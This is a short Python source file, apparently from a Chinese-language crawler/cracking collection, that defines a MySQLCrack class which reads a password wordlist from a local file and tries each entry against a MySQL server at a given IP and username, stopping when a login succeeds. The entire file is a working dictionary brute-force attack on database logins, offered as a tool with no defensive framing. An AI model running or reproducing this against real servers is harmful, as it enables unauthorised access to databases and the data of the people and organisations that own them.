import pymysql
import codecs


class MySQLCrack:
    def __init__(self, ip, user):
        filepath = r"F:\源码分析\crawlers\python3\爆库\password.txt"
        self.file = codecs.open(filepath, "rb", "gbk", "ignore")  # 打开文件
        self.ip = ip
        self.user = user

    def startcrack(self,showview):  # 读取文件
        while True:
            line = self.file.readline()
            mystr = self.crack(line)
            showview.addata(mystr)  # 显示数据,加上数据   类函数
            if mystr.find("正确") != -1:
                break
            if not line:
                break

    def crack(self, password):  # 连接数据库
        try:
            db = pymysql.connect(self.ip, self.user, password)
            db.close()

        except pymysql.err.OperationalError:
            return "密码错误"+password
        else:
            return "密码正确"+password

    def __del__(self):
        self.file.close()
